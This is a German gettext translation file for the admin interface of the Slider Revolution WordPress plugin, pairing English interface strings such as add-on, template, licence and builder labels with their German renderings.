admin/views/builder-nav-forms.php:86 admin/views/builder-nav-forms.php:141 #: admin/views/builder-nav-forms.php:283 admin/views/builder-nav-forms.php:430 #: admin/views/builder-nav-forms.php:613 admin/views/builder-layer-forms.php:28 #: admin/views/builder-layer-forms.php:52 #: admin/includes/shortcode_generator/shortcode_generator.class.php:218 msgid "Content" msgstr "Inhalt" #: admin/revslider-admin.class.php:1983 msgid "Buttons" msgstr "Buttons" #: admin/revslider-admin.class.php:1984 msgid "BG & Space" msgstr "BG & Space" #: admin/revslider-admin.class.php:1985 admin/revslider-admin.class.php:1986 #: admin/views/builder-slider-forms.php:1110 msgid "Shadow" msgstr "Schatten" #: admin/revslider-admin.class.php:1987 msgid "Saving Slide" msgstr "Slide wird gespeichert" #: admin/revslider-admin.class.php:1988 msgid "Loading Configuration" msgstr "Konfiguration wird geladen" #: admin/revslider-admin.class.php:1989 msgid "Updating Lists" msgstr "Aktualisieren von Listen" #: admin/revslider-admin.class.php:1992 msgid "Slider Settings" msgstr "Slider Einstellungen" #: admin/revslider-admin.class.php:1993 msgid "Animate From" msgstr "Animiere von" #: admin/revslider-admin.class.php:1994 msgid "Keyframe #" msgstr "Keyframe #" #: admin/revslider-admin.class.php:1995 msgid "Transform Idle" msgstr "Transform Idle" #: admin/revslider-admin.class.php:1996 #: admin/includes/plugin-update.class.php:3423 msgid "Anim From" msgstr "Animation von" #: admin/revslider-admin.class.php:1997 admin/revslider-admin.class.php:1998 #: admin/includes/plugin-update.class.php:3527 #: admin/includes/plugin-update.class.php:3612 msgid "Anim To" msgstr "Animation zu" #: admin/revslider-admin.class.php:1999 msgid "Keyframe" msgstr "Keyframe" #: admin/revslider-admin.class.php:2000 msgid "Not Enough space between Frames." msgstr "Nicht genügend Platz zwischen den Frames." #: admin/revslider-admin.class.php:2001 msgid "Frame Size can not be Extended. Not enough Space." msgstr "Die Rahmengröße kann nicht erweitert werden. Nicht genug Platz." #: admin/revslider-admin.class.php:2002 msgid "Loop Template" msgstr "Loop Vorlage" #: admin/revslider-admin.class.php:2003 msgid "Animation Template" msgstr "Animationsvorlage" #: admin/revslider-admin.class.php:2004 msgid "Choose Image" msgstr "Bild wählen" #: admin/revslider-admin.class.php:2005 msgid "Choose Video" msgstr "Video wählen" #: admin/revslider-admin.class.php:2006 msgid "Slider Revolution Shortcode Creator" msgstr "Slider Revolution Shortcode Creator" #: admin/revslider-admin.class.php:2007 msgid "Shortcode Generator" msgstr "Shortcode Generator" #: admin/revslider-admin.class.php:2008 msgid "Please add at least one Layer." msgstr "Bitte füge mindestens einen Layer hinzu." #: admin/revslider-admin.class.php:2009 msgid "Shortcode parsing successfull. Items can be found in step 3" msgstr "Shortcode-Analyse erfolgreich. Die Elemente finden Sie in Schritt 3" #: admin/revslider-admin.class.php:2010 msgid "Shortcode could not be parsed." msgstr "Shortcode konnte nicht analysiert werden." #: admin/revslider-admin.class.php:2011 msgid "Addon Required" msgstr "Addon erforderlich" #: admin/revslider-admin.class.php:2012 #: admin/includes/shortcode_generator/shortcode_generator.class.php:136 msgid "Activate License" msgstr "Lizenz aktivieren" #: admin/revslider-admin.class.php:2013 msgid "Search Icons..." msgstr "Icons suchen..." #: admin/revslider-admin.class.php:2014 msgid "Save Current Template" msgstr "Aktuelle Vorlage speichern" #: admin/revslider-admin.class.php:2015 msgid "Overwrite Template ?" msgstr "Vorlage überschreiben?" #: admin/revslider-admin.class.php:2016 msgid "Delete Template ?" msgstr "Vorlage löschen?" #: admin/revslider-admin.class.php:2017 msgid "Credits" msgstr "Credits" #: admin/revslider-admin.class.php:2019 admin/views/builder-nav-forms.php:810 #: admin/views/builder-nav-forms.php:828 #: admin/views/builder-layer-forms.php:928 msgid "Enabled" msgstr "Aktiviert" #: admin/revslider-admin.class.php:2020 msgid "Global" msgstr "Global" #: admin/revslider-admin.class.php:2021 msgid "Install Add-On" msgstr "Addon installieren" #: admin/revslider-admin.class.php:2022 msgid "Install" msgstr "Installieren" #: admin/revslider-admin.class.php:2023 msgid "Enable Add-On" msgstr "Addon aktivieren" #: admin/revslider-admin.class.php:2024 msgid "Disable Add-On" msgstr "Addon deaktivieren" #: admin/revslider-admin.class.php:2025 msgid "Enable Global Add-On" msgstr "Globales Addon aktivieren" #: admin/revslider-admin.class.php:2026 msgid "Disable Global Add-On" msgstr "Globales Addon deaktivieren" #: admin/revslider-admin.class.php:2027 msgid "Slider Revolution Version" msgstr "Slider Revolution Version" #: admin/revslider-admin.class.php:2028 msgid "Check Requirements" msgstr "Überprüfen Sie die Anforderungen" #: admin/revslider-admin.class.php:2029 msgid "Activate Global Add-On" msgstr "Globales Addon aktivieren" #: admin/revslider-admin.class.php:2030 msgid "Activate Add-On" msgstr "Addon aktivieren" #: admin/revslider-admin.class.php:2031 msgid "Activating Add-On" msgstr "Aktiviere Addon" #: admin/revslider-admin.class.php:2032 msgid "Enabling Add-On" msgstr "Aktivieren des Addon" #: admin/revslider-admin.class.php:2033 msgid "Add-On" msgstr "Add-On" #: admin/revslider-admin.class.php:2034 msgid "Installing Add-On" msgstr "Installieren des Addon" #: admin/revslider-admin.class.php:2035 msgid "Disabling Add-On" msgstr "Deaktiviere Addon" #: admin/revslider-admin.class.php:2036 msgid "Building Select Boxes" msgstr "Erstellen von Auswahlfeldern" #: admin/revslider-admin.class.php:2037 msgid "Warning" msgstr "Warnung" #: admin/revslider-admin.class.php:2038 msgid "Blank Page Created" msgstr "Leere Seite erstellt" #: admin/revslider-admin.class.php:2039 msgid "Blank page has been created:" msgstr "Leere Seite wurde erstellt:" #: admin/revslider-admin.class.php:2040 msgid "Visit Page" msgstr "Seite besuchen" #: admin/revslider-admin.class.php:2041 msgid "Edit Page" msgstr "Seite bearbeiten" #: admin/revslider-admin.class.php:2042 msgid "Close" msgstr "Schließen" #: admin/revslider-admin.class.php:2043 msgid "The changes you made require a page reload!" msgstr "Die vorgenommenen Änderungen erfordern ein erneutes Laden der Seite!" #: admin/revslider-admin.class.php:2044 msgid "Save your project & reload the page or cancel" msgstr "" "Speichern Sie Ihr Projekt und laden Sie die Seite neu oder brechen Sie ab" #: admin/revslider-admin.class.php:2045 msgid "Save & Reload" msgstr "Speichern & Neu laden" #: admin/revslider-admin.class.php:2046 msgid "Cancel & Reload Later" msgstr "Abbrechen & Später neu laden" #: admin/revslider-admin.class.php:2047 admin/views/modals-general.php:61 msgid "Save Configuration" msgstr "Konfiguration speichern" #: admin/revslider-admin.class.php:2048 msgid "Updating" msgstr "Aktualisiere" #: admin/revslider-admin.class.php:2049 msgid "Enable/Disable Add-On on Module" msgstr "Addon für Modul aktivieren/deaktivieren" #: admin/revslider-admin.class.php:2050 admin/views/overview.php:67 #: admin/includes/shortcode_generator/shortcode_generator.class.php:157 msgid "Sort by Creation" msgstr "Nach Erstellung sortieren" #: admin/revslider-admin.class.php:2051 admin/views/overview.php:67 #: admin/includes/shortcode_generator/shortcode_generator.class.php:158 msgid "Creation Ascending" msgstr "Erstellung aufsteigend" #: admin/revslider-admin.class.php:2052 admin/views/overview.php:67 #: admin/includes/shortcode_generator/shortcode_generator.class.php:159 msgid "Sort by Title" msgstr "Nach Titel sortieren" #: admin/revslider-admin.class.php:2053 admin/views/overview.php:67 #: admin/includes/shortcode_generator/shortcode_generator.class.php:160 msgid "Title Descending" msgstr "Titel absteigend" #: admin/revslider-admin.class.php:2054 #: admin/includes/shortcode_generator/shortcode_generator.class.php:150 msgid "Update List" msgstr "Liste aktualisieren" #: admin/revslider-admin.class.php:2055 msgid "Audio Wave Library is Loading..." msgstr "Audio Wave Library wird geladen ..." #: admin/revslider-admin.class.php:2056 msgid "Loading RevMirror Library..." msgstr "RevMirror Bibliothek wird geladen..." #: admin/revslider-admin.class.php:2057 msgid "Lock / Unlock Selected" msgstr "Ausgewählte sperren / entsperren" #: admin/revslider-admin.class.php:2058 #: admin/includes/shortcode_generator/shortcode_generator.class.php:155 msgid "Layers Importing" msgstr "Importieren von Layers" #: admin/revslider-admin.class.php:2059 #: admin/includes/shortcode_generator/shortcode_generator.class.php:156 msgid "Nothing Selected" msgstr "Keine Auswahl getroffen" #: admin/revslider-admin.class.php:2060 #: admin/includes/shortcode_generator/shortcode_generator.class.php:153 msgid "Layer with Action" msgstr "Layer mit Aktion" #: admin/revslider-admin.class.php:2061 #: admin/includes/shortcode_generator/shortcode_generator.class.php:151 msgid "Image is Loading..." msgstr "Bild wird geladen ..." #: admin/revslider-admin.class.php:2062 #: admin/includes/shortcode_generator/shortcode_generator.class.php:152 msgid "Importing Layers..." msgstr "Layers importieren ..." #: admin/revslider-admin.class.php:2063 msgid "Triggered By" msgstr "Ausgelöst durch" #: admin/revslider-admin.class.php:2064 msgid "Imported" msgstr "Importiert" #: admin/revslider-admin.class.php:2065 msgid "LAYERS" msgstr "LAYERS" #: admin/revslider-admin.class.php:2066 admin/views/builder-layer-forms.php:37 msgid "Responsivity" msgstr "Responsivity" #: admin/revslider-admin.class.php:2067 msgid "The changes you made will be lost!" msgstr "Die vorgenommenen Änderungen gehen verloren!" #: admin/revslider-admin.class.php:2068 msgid "Are you sure you want to continue?" msgstr "Sind Sie sicher, dass Sie fortfahren möchten?" #: admin/revslider-admin.class.php:2069 msgid "Are you sure you want to export " msgstr "Möchten Sie wirklich exportieren? " #: admin/revslider-admin.class.php:2070 msgid "Are you sure you want to delete " msgstr "Sind Sie sicher, dass Sie löschen möchten " #: admin/revslider-admin.class.php:2071 msgid "Delete All Sliders and Folders included in " msgstr "Löschen aller Slider und Ordner enthalten in " #: admin/revslider-admin.class.php:2072 msgid "Leave without Save" msgstr "Ohne Speichern verlassen" #: admin/revslider-admin.class.php:2073 msgid "Updating the Plugin may take a few moments." msgstr "Das Aktualisieren des Plugins kann einige Momente dauern." #: admin/revslider-admin.class.php:2074 msgid "Downloading the Zip File may take a few moments." msgstr "Das Herunterladen der Zip-Datei kann einige Momente dauern." #: admin/revslider-admin.class.php:2075 msgid "Export Slider" msgstr "Slider exportieren" #: admin/revslider-admin.class.php:2076 msgid "Yes, Export Slider" msgstr "Ja, Slider exportieren" #: admin/revslider-admin.class.php:2077 msgid "Yes, Delete Slider" msgstr "Ja, Slider löschen" #: admin/revslider-admin.class.php:2078 msgid "Yes, Delete Slide" msgstr "Ja, Slide löschen" #: admin/revslider-admin.class.php:2079 msgid "Yes, Delete All Slider(s)" msgstr "Ja, alle Slider löschen" #: admin/revslider-admin.class.php:2080 msgid "Stay in Edior" msgstr "Bleib in Editor" #: admin/revslider-admin.class.php:2081 msgid "Redirecting to Overview Page" msgstr "Weiterleitung zur Übersichtsseite" #: admin/revslider-admin.class.php:2082 msgid "Leaving current Page" msgstr "Aktuelle Seite verlassen" #: admin/revslider-admin.class.php:2083 msgid "as HTML Document" msgstr "als HTML-Dokument" #: admin/revslider-admin.class.php:2084 msgid "Preparing Data..." msgstr "Daten werden vorbereitet ..." #: admin/revslider-admin.class.php:2085 msgid "Loading Content..." msgstr "Inhalt wird geladen ..." #: admin/revslider-admin.class.php:2086 admin/views/builder.php:142 msgid "Copy" msgstr "Kopieren" #: admin/revslider-admin.class.php:2087 admin/views/builder.php:143 msgid "Paste" msgstr "Einfügen" #: admin/revslider-admin.class.php:2088 msgid "WAIT" msgstr "WARTEN" #: admin/revslider-admin.class.php:2089 msgid "1st Frame" msgstr "1. Frame" #: admin/revslider-admin.class.php:2090 msgid "Last Frame" msgstr "Letzter Frame" #: admin/revslider-admin.class.php:2091 msgid "on Action" msgstr "auf Aktion" #: admin/revslider-admin.class.php:2092 msgid "This action can not be undone !!" msgstr "Diese Aktion kann nicht rückgängig gemacht werden !!" #: admin/revslider-admin.class.php:2093 msgid "Delete Slider" msgstr "Slider löschen" #: admin/revslider-admin.class.php:2094 msgid "Delete Slide" msgstr "Slide löschen" #: admin/revslider-admin.class.php:2095 msgid "This can be Undone only within the Current session." msgstr "" "Dies kann nur innerhalb der aktuellen Sitzung rückgängig gemacht werden." #: admin/revslider-admin.class.php:2096 msgid "Are you sure you want to delete the selected Slide:" msgstr "Möchten Sie den ausgewählten Slide wirklich löschen:" #: admin/revslider-admin.class.php:2097 #: admin/views/builder-slider-forms.php:1264 msgid "Cancel" msgstr "Abbrechen" #: admin/revslider-admin.class.php:2098 msgid "Add-Ons" msgstr "Add-Ons" #: admin/revslider-admin.class.php:2099 msgid "Deleting Slider" msgstr "Slider löschen" #: admin/revslider-admin.class.php:2100 msgid "Template & Object Library" msgstr "Vorlagen- & Objektbibliothek" #: admin/revslider-admin.class.php:2101 msgid "Instant Updates" msgstr "Sofortige Updates" #: admin/revslider-admin.class.php:2102 msgid "1on1 Support" msgstr "1zu1-Unterstützung" #: admin/revslider-admin.class.php:2103 msgid "Get a Purchase Code" msgstr "Holen Sie sich einen Purchase Code" #: admin/revslider-admin.class.php:2104 msgid "I have a Purchase Code" msgstr "Ich habe einen Purchase Code" #: admin/revslider-admin.class.php:2105 msgid "Register Slider Revolution
            to Unlock Premium Features" msgstr "" "Registrieren Sie Slider Revolution
            , um Premium-Funktionen freizuschalten" #: admin/revslider-admin.class.php:2106 admin/views/overview.php:123 msgid "Register Purchase Code" msgstr "Registrieren Sie den Purchase Code" #: admin/revslider-admin.class.php:2107 msgid "1 Purchase Code per Website!" msgstr "1 Purchase Code pro Website!" #: admin/revslider-admin.class.php:2108 msgid "" "If you want to use your purchase code on
            another domain, please " "deregister it first or" msgstr "" "Wenn Sie Ihren Einkaufscode für eine andere Domain verwenden möchten, müssen " "Sie ihn zuerst abmelden oder" #: admin/revslider-admin.class.php:2109 msgid "Parallax is now generally Enabled" msgstr "Parallax ist jetzt allgemein aktiviert" #: admin/revslider-admin.class.php:2110 msgid "Scroll Based Timeline is now generally Enabled" msgstr "Die scrollbasierte Zeitleiste ist jetzt allgemein aktiviert" #: admin/revslider-admin.class.php:2111 msgid "Filter Effect Scroll is now generally Enabled" msgstr "Filter Effect Scroll ist jetzt allgemein aktiviert" #: admin/revslider-admin.class.php:2112 msgid "Slide has no Layers" msgstr "Slide hat keine Layers" #: admin/revslider-admin.class.php:2113 msgid "Changes that you made may not be saved." msgstr "" "Von Ihnen vorgenommene Änderungen werden möglicherweise nicht gespeichert." #: admin/revslider-admin.class.php:2114 #: admin/includes/shortcode_generator/shortcode_generator.class.php:161 msgid "Add Slider as Modal" msgstr "Slider als Modal hinzufügen" #: admin/revslider-admin.class.php:2137 msgid "Wrong Request" msgstr "Falsche Anfrage" #: admin/includes/widget.class.php:14 msgid "Displays a Slider Revolution Module on the page" msgstr "Zeigt ein Slider Revolution Modul auf der Seite an" #: admin/includes/widget.class.php:33 msgid "No Sliders found, Please create a Slider first" msgstr "Keine Slider gefunden, Bitte erstellen Sie zuerst einen Slider" #: admin/includes/widget.class.php:51 admin/views/builder-slider-forms.php:54 #: admin/views/builder-slider-forms.php:76 #: admin/views/builder-slider-forms.php:544 #: admin/views/builder-slider-forms.php:662 admin/views/modals-builder.php:352 #: admin/views/modals-builder.php:547 admin/views/modals-builder.php:634 #: admin/views/builder-layer-forms.php:880 msgid "Title" msgstr "Titel" #: admin/includes/widget.class.php:55 msgid "Choose Slider" msgstr "Wähle Slider" #: admin/includes/widget.class.php:66 msgid "Home Page Only" msgstr "Nur Homepage" #: admin/includes/widget.class.php:70 msgid "Pages (example: 2,10):" msgstr "Seiten (Beispiel: 2,10):" #: admin/includes/tooltips.class.php:16 msgid "Docs" msgstr "Doku" #: admin/includes/template.class.php:57 msgid "" "Can't write the file into the uploads folder of WordPress, please change " "permissions and try again!" msgstr "" "Die Datei kann nicht in den Upload-Ordner von WordPress geschrieben werden. " "Bitte ändern Sie die Berechtigungen und versuchen Sie es erneut!" #: admin/includes/template.class.php:64 msgid "" "Can't connect programatically to the ThemePunch servers, please check your " "webserver settings" msgstr "" "Es kann keine programmgesteuerte Verbindung zu den ThemePunch-Servern " "hergestellt werden. Überprüfen Sie die Einstellungen Ihres Webservers" #: admin/includes/template.class.php:67 msgid "" "Can't write into the uploads folder of WordPress, please change permissions " "and try again!" msgstr "" "Ich kann nicht in den Upload-Ordner von WordPress schreiben. Bitte ändern " "Sie die Berechtigungen und versuchen Sie es erneut!" #: admin/includes/export-html.class.php:51 msgid "Wrong request!" msgstr "Falsche Anfrage!" #: admin/includes/export-html.class.php:304 msgid "" "Using this data is only allowed with a valid licence of the jQuery Slider " "Revolution Plugin, which can be found at CodeCanyon: http://codecanyon." "net/item/slider-revolution-responsive-jquery-plugin/2580848?ref=themepunch" msgstr "" "Die Verwendung dieser Daten ist nur mit einer gültigen Lizenz für das jQuery " "Slider Revolution-Plugin zulässig, das Sie unter CodeCanyon finden: http:" "//codecanyon.net/item/slider-revolution-responsive-jquery-plugin/2580848?" "ref=themepunch" #: admin/includes/plugin-update.class.php:5859 msgid "On Stage" msgstr "Auf der Bühne" #: admin/includes/addons.class.php:110 admin/includes/addons.class.php:135 msgid "Please activate Slider Revolution" msgstr "Bitte aktivieren Sie Slider Revolution" #: admin/includes/import.class.php:137 msgid "No file sent." msgstr "Keine Datei gesendet." #: admin/includes/import.class.php:140 msgid "Exceeded filesize limit." msgstr "Dateigrößenlimit überschritten." #: admin/includes/import.class.php:152 msgid "Import file not found" msgstr "Importdatei nicht gefunden" #: admin/includes/import.class.php:199 msgid "slider_export.txt does not exist!" msgstr "slider_export.txt existiert nicht!" #: admin/includes/import.class.php:423 msgid "Please select the correct zip file, checksum failed!" msgstr "Bitte wählen Sie die richtige Zip-Datei aus, Prüfsumme fehlgeschlagen!" #: admin/includes/import.class.php:470 admin/includes/import.class.php:552 msgid "" "Wrong export slider file format! Please make sure that the uploaded file is " "either a zip file with a correct slider_export.txt in the root of it or an " "valid slider_export.txt file." msgstr "" "Falsches Export-Slider-Dateiformat! Stellen Sie sicher, dass die " "hochgeladene Datei entweder eine Zip-Datei mit einer korrekten Datei " "slider_export.txt im Stammverzeichnis oder eine gültige Datei slider_export." "txt ist." #: admin/includes/import.class.php:1540 msgid "could not find correct Slide to copy, please try again." msgstr "" "konnte nicht den richtigen Slide zum Kopieren finden. Bitte versuchen Sie es " "erneut." #: admin/includes/import.class.php:1663 msgid " not found!" msgstr " nicht gefunden!" #: admin/includes/export.class.php:474 msgid "Can't create zip file: " msgstr "ZIP-Datei kann nicht erstellt werden: " #: admin/views/modals-general.php:22 msgid "Decision Modal Title" msgstr "Entscheidung Modal Titel" #: admin/views/modals-general.php:27 msgid "Do It" msgstr "Tu es" #: admin/views/modals-general.php:28 msgid "Dont Do It" msgstr "Tu es nicht" #: admin/views/modals-general.php:40 msgid "Copy Embed Code" msgstr "Einbettungscode kopieren" #: admin/views/modals-general.php:55 admin/views/builder-slider-forms.php:62 msgid "Addons" msgstr "Addons" #: admin/views/modals-general.php:55 msgid "Check for Updates" msgstr "Auf Updates prüfen" #: admin/views/modals-general.php:59 msgid "Slider Revolution Addons" msgstr "Slider Revolution Addons" #: admin/views/modals-general.php:59 msgid "Please select an Addon to start with." msgstr "Bitte wählen Sie ein Addon zum Start aus." #: admin/views/modals-overview.php:19 admin/views/modals-builder.php:26 msgid "Welcome to Slider Revolution 6" msgstr "Willkommen bei Slider Revolution 6" #: admin/views/modals-overview.php:63 msgid "Global Settings" msgstr "Globale Einstellungen" #: admin/views/modals-overview.php:65 msgid "Permission" msgstr "Berechtigung" #: admin/views/modals-overview.php:66 msgid "To Admin" msgstr "Zum Admin" #: admin/views/modals-overview.php:67 msgid "To Editor, Admin" msgstr "Zum Redakteur, Admin" #: admin/views/modals-overview.php:68 msgid "Author, Editor, Admin" msgstr "Autor, Herausgeber, Admin" #: admin/views/modals-overview.php:71 msgid "Include Libraries Globaly" msgstr "Bibliotheken Global einbinden" #: admin/views/modals-overview.php:72 msgid "List of Pages to include Revslider Libraries " msgstr "Liste der Seiten, die Revslider-Bibliotheken enthalten sollen " #: admin/views/modals-overview.php:72 msgid "Example 2,homepage,5" msgstr "Beispiel 2, Homepage, 5" #: admin/views/modals-overview.php:74 msgid "Insert scripts in Footer" msgstr "Skripte ins Seitenende einfügen" #: admin/views/modals-overview.php:75 msgid "Defer JavaScript Loading" msgstr "Verschieben von JavaScript-Ladevorgängen" #: admin/views/modals-overview.php:77 msgid "Optional Font Loading URL" msgstr "Optionale URL zum Laden von Schriftarten" #: admin/views/modals-overview.php:77 msgid "ie. http://fonts.useso.com/css?family for chinese Environment" msgstr "Bsp. http://fonts.useso.com/css?family für chinesische Nutzung" #: admin/views/modals-overview.php:79 msgid "Default Desktop Content Width" msgstr "Standardbreite für Desktop Inhalte" #: admin/views/modals-overview.php:80 msgid "Default Notebook Content Width" msgstr "Standardbreite für Notebook Inhalte" #: admin/views/modals-overview.php:81 msgid "Default Tablet Content Width" msgstr "Standardbreite für Tablet Inhalte" #: admin/views/modals-overview.php:82 msgid "Default Mobile Content Width" msgstr "Standardbreite mobiler Inhalte" #: admin/views/modals-overview.php:84 msgid "Fix RS Table Issues" msgstr "Behebung von Problemen mit RS-Tabellen" #: admin/views/modals-overview.php:84 msgid "Force RS DB Creation" msgstr "RS DB Erstellung erzwingen" #: admin/views/modals-overview.php:88 msgid "Save Global Settings" msgstr "Globale Einstellungen speichern" #: admin/views/overview.php:20 msgid "Good Evening " msgstr "Guten Abend " #: admin/views/overview.php:22 msgid "Good Morning " msgstr "Guten Morgen " #: admin/views/overview.php:24 msgid "Good Afternoon " msgstr "Guten Nachmittag " #: admin/views/overview.php:39 msgid "Modules" msgstr "Module" #: admin/views/overview.php:40 msgid "Updates" msgstr "Aktualisierungen" #: admin/views/overview.php:41 msgid "Activation" msgstr "Aktivierung" #: admin/views/overview.php:42 msgid "News" msgstr "Neuigkeiten" #: admin/views/overview.php:43 msgid "Globals" msgstr "Globals" #: admin/views/overview.php:44 msgid "FAQ's" msgstr "FAQs" #: admin/views/overview.php:45 msgid "Support" msgstr "Hilfe" #: admin/views/overview.php:52 msgid "You are running Slider Revolution " msgstr "Sie nutzen gerade Slider Revolution " #: admin/views/overview.php:56 msgid "New Blank Module" msgstr "Neues leeres Modul" #: admin/views/overview.php:57 msgid "New Module from Template" msgstr "Neues Modul aus Vorlage" #: admin/views/overview.php:58 msgid "Manual Import" msgstr "Manueller Import" #: admin/views/overview.php:59 msgid "AddOns" msgstr "Addons" #: admin/views/overview.php:65 msgid "Search Modules..." msgstr "Module suchen ..." #: admin/views/overview.php:68 msgid "Show all Modules" msgstr "Alle Module anzeigen" #: admin/views/overview.php:69 msgid "Add Folder" msgstr "Ordner hinzufügen" #: admin/views/overview.php:78 msgid "Show All" msgstr "Alles anzeigen" #: admin/views/overview.php:92 msgid "Plugin Updates" msgstr "Plugin Updates" #: admin/views/overview.php:100 msgid "Sytem Requirements" msgstr "Systemanforderungen" #: admin/views/overview.php:102 msgid "Upload folder writable" msgstr "Upload-Ordner beschreibbar" #: admin/views/overview.php:103 msgid "Memory Limit (256M)" msgstr "Speicherlimit (256 MB)" #: admin/views/overview.php:104 msgid "Upload Max. Filesize (256M)" msgstr "Max. Upload Dateigröße (256MB)" #: admin/views/overview.php:105 msgid "Max. Post Size (256M)" msgstr "Max. Post-Größe (256 MB)" #: admin/views/overview.php:106 msgid "ThemePunch Server" msgstr "ThemePunch Server" #: admin/views/overview.php:107 admin/views/builder.php:111 #: admin/views/builder.php:121 admin/views/builder-slider-forms.php:331 #: admin/views/builder-slide-forms.php:53 #: admin/views/builder-slide-forms.php:65 #: admin/views/builder-slide-forms.php:72 #: admin/views/builder-slide-forms.php:78 #: admin/views/builder-slide-forms.php:83 #: admin/views/builder-layer-forms.php:174 #: admin/views/builder-layer-forms.php:220 #: admin/views/builder-layer-forms.php:263 msgid "Object Library" msgstr "Objekt Bibliothek" #: admin/views/overview.php:113 msgid "Update History" msgstr "Verlauf aktualisieren" #: admin/views/overview.php:126 msgid "Find My Code" msgstr "Meinen Code finden" #: admin/views/overview.php:130 msgid "xxxx xxxx xxxx xxxx" msgstr "xxxx xxxx xxxx xxxx" #: admin/views/overview.php:131 msgid "Enter Purchase Code" msgstr "Geben Sie den Purchase Code ein" #: admin/views/overview.php:137 msgid "1 Purchase Code per Website" msgstr "1 Purchase Code pro Website" #: admin/views/overview.php:138 msgid "" "If you want to use Slider Revolution on another domain, please
            purchase another license" msgstr "" "Wenn Sie Slider Revolution auf einer anderen Domain nutzen möchten, erwerben Sie bitte eine andere Lizenz" #: admin/views/overview.php:143 msgid "Register to unlock all Premium Features" msgstr "Registrieren um alle Premium Funktionen freizuschalten" #: admin/views/overview.php:148 admin/views/overview.php:152 #: admin/views/overview.php:156 admin/views/overview.php:160 #: admin/views/overview.php:164 msgid "Register to Unlock" msgstr "Registrieren zum entsperren" #: admin/views/overview.php:175 msgid "Connect with ThemePunch" msgstr "Mit ThemePunch verbinden" #: admin/views/overview.php:176 msgid "Youtube" msgstr "YouTube" #: admin/views/overview.php:178 admin/views/builder-slider-forms.php:467 msgid "Twitter" msgstr "Twitter" #: admin/views/overview.php:180 admin/views/builder-slider-forms.php:468 msgid "Facebook" msgstr "Facebook" #: admin/views/overview.php:182 admin/views/builder-slider-forms.php:466 msgid "Instagram" msgstr "Instagram" #: admin/views/overview.php:184 msgid "Dribbble" msgstr "Dribbble" #: admin/views/overview.php:186 msgid "Sign up to our Newsletter" msgstr "Unseren Newsletter bestellen" #: admin/views/overview.php:187 msgid "Enter your Email" msgstr "Geben Sie Ihre E-Mail-Adresse ein" #: admin/views/overview.php:189 msgid "Sign Up" msgstr "Anmelden" #: admin/views/overview.php:192 msgid "Updates, New Products, Spotlights" msgstr "Updates, neue Produkte, Spotlights" #: admin/views/overview.php:193 msgid "" "Get access to the latest News from ThemePunch. We promise to never send you " "Spam!" msgstr "" "Erhalten Sie Zugriff auf die neuesten Nachrichten von ThemePunch. Wir " "versprechen, Ihnen niemals Spam zu schicken!" #: admin/views/overview.php:199 msgid "Whats New?" msgstr "Was gibt's Neues?" #: admin/views/builder.php:48 admin/views/builder.php:201 msgid "Desktop" msgstr "Desktop" #: admin/views/builder.php:49 admin/views/builder.php:202 msgid "Notebook" msgstr "Notebook" #: admin/views/builder.php:50 admin/views/builder.php:203 msgid "Tablet" msgstr "Tablet" #: admin/views/builder.php:51 admin/views/builder.php:204 msgid "Mobile" msgstr "Mobile Geräte" #: admin/views/builder.php:67 admin/views/builder.php:82 #: admin/views/builder-slider-forms.php:690 msgid "Slides" msgstr "Slides" #: admin/views/builder.php:81 admin/views/builder-slide-forms.php:490 msgid "Back" msgstr "Zurück" #: admin/views/builder.php:85 msgid "Add Slide(s)" msgstr "Slide(s) hinzufügen" #: admin/views/builder.php:87 msgid "Blank slide" msgstr "Leerer Slide" #: admin/views/builder.php:88 msgid "Bulk Slide" msgstr "Mehrere Slides" #: admin/views/builder.php:89 msgid "Slide From Template" msgstr "Slide aus Vorlage" #: admin/views/builder.php:98 msgid "Add Layer" msgstr "Layer hinzufügen" #: admin/views/builder.php:101 admin/views/builder-layer-forms.php:1554 msgid "Text" msgstr "Text" #: admin/views/builder.php:103 msgid "Quick Style Headline" msgstr "Quick Style Überschrift" #: admin/views/builder.php:104 msgid "Quick Style Content" msgstr "Quick Style Inhalt" #: admin/views/builder.php:108 admin/views/builder-slide-forms.php:45 msgid "Image" msgstr "Bild" #: admin/views/builder.php:110 admin/views/builder.php:120 msgid "WordPress Library" msgstr "WordPress Bibliothek" #: admin/views/builder.php:112 admin/views/builder.php:122 msgid "Empty Placeholder" msgstr "Leerer Platzhalter" #: admin/views/builder.php:115 msgid "Button" msgstr "Button" #: admin/views/builder.php:116 msgid "Shape" msgstr "Shape" #: admin/views/builder.php:118 msgid "Video" msgstr "Video" #: admin/views/builder.php:125 admin/views/builder-layer-forms.php:203 msgid "Audio" msgstr "Audio" #: admin/views/builder.php:126 msgid "Icon / SVG" msgstr "Icon / SVG" #: admin/views/builder.php:127 msgid "Row" msgstr "Zeile" #: admin/views/builder.php:128 admin/views/builder-slider-forms.php:843 #: admin/views/builder-slider-forms.php:853 msgid "Group" msgstr "Gruppe" #: admin/views/builder.php:129 msgid "Layer Library" msgstr "Layer Bibliothek" #: admin/views/builder.php:130 msgid "Import Layer" msgstr "Layer importieren" #: admin/views/builder.php:136 msgid "Multiple Selection" msgstr "Mehrfachauswahl" #: admin/views/builder.php:137 msgid "No Layers Selected" msgstr "Keine Layer ausgewählt" #: admin/views/builder.php:150 msgid "Lock/Unlock Selected" msgstr "Ausgewählte sperren / entsperren" #: admin/views/builder.php:151 msgid "Unlock All" msgstr "Alle entsperren" #: admin/views/builder.php:157 msgid "Hide Highlight Boxes" msgstr "Markierungsfelder ausblenden" #: admin/views/builder.php:157 msgid "Show Highlight Boxes" msgstr "Markierungsfelder anzeigen" #: admin/views/builder.php:158 msgid "Show/Hide Selected" msgstr "Auswahl ein- / ausblenden" #: admin/views/builder.php:159 msgid "Set All Visible" msgstr "Alles sichtbar machen" #: admin/views/builder.php:179 msgid "Single Select" msgstr "Einzelauswahl" #: admin/views/builder.php:180 msgid "Add to Selection" msgstr "Zur Auswahl hinzufügen" #: admin/views/builder.php:181 msgid "Drag to Select" msgstr "Zum Auswählen ziehen" #: admin/views/builder.php:190 msgid "Open Document" msgstr "Dokument öffnen" #: admin/views/builder.php:209 msgid "Quick Style" msgstr "Quick Style" #: admin/views/builder.php:302 admin/views/builder-slider-forms.php:1264 #: admin/views/builder-nav-forms.php:229 admin/views/builder-nav-forms.php:369 #: admin/views/builder-nav-forms.php:556 admin/views/builder-nav-forms.php:740 msgid "Save" msgstr "Speichern" #: admin/views/builder.php:323 msgid "" "The Current Size is set to \"Auto Size\". Do you want to continue with " "Custom Size?" msgstr "" "Die aktuelle Größe ist auf \"Automatische Größe\" eingestellt. Möchten Sie " "mit der benutzerdefinierten Größe fortfahren?" #: 